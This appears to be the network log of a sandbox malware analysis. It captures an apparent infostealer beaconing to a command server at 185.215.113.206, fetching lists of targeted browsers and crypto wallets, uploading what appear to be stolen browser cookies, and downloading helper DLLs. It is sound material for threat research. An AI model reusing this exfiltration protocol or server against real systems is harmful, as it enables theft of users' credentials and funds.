b2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 7, 2024 18:26:13.414525032 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 7, 2024 18:26:13.416213036 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="message"plugins------AFCBKFHJJJKKFHIDAAKF--
Dec 7, 2024 18:26:13.865816116 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 7, 2024 18:26:13.865952969 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 7, 2024 18:26:13.865967035 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 7, 2024 18:26:13.866415977 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 7, 2024 18:26:13.866429090 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 7, 2024 18:26:13.866440058 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 7, 2024 18:26:13.868046999 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="message"fplugins------AEGHJEGIEBFIJJKFIIIJ--
Dec 7, 2024 18:26:14.310367107 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 7, 2024 18:26:14.345822096 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 185.215.113.206 Content-Length: 5839 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 18:26:14.345974922 CET	5839	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 7, 2024 18:26:15.422808886 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 18:26:15.717571974 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 18:26:16.155247927 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 7, 2024 18:26:16.155421019 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 7, 2024 18:26:16.159409046 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Dec 7, 2024 18:26:16.159476042 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49740	185.215.113.206	80	7308	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:26:25.361650944 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCB Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AEBAFBGIDHCBFHIECFCB--
Dec 7, 2024 18:26:27.714178085 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 18:26:28.084245920 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="file"------CAAEBKEGHJKEBFHJDBFC--
Dec 7, 2024 18:26:29.679847956 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49786	185.215.113.206	80	7308	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:26:41.661653042 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="file"------KJEHCGDBFCBAKECBKKEB--
Dec 7, 2024 18:26:43.496208906 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 18:26:43.891954899 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 18:26:44.331494093 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 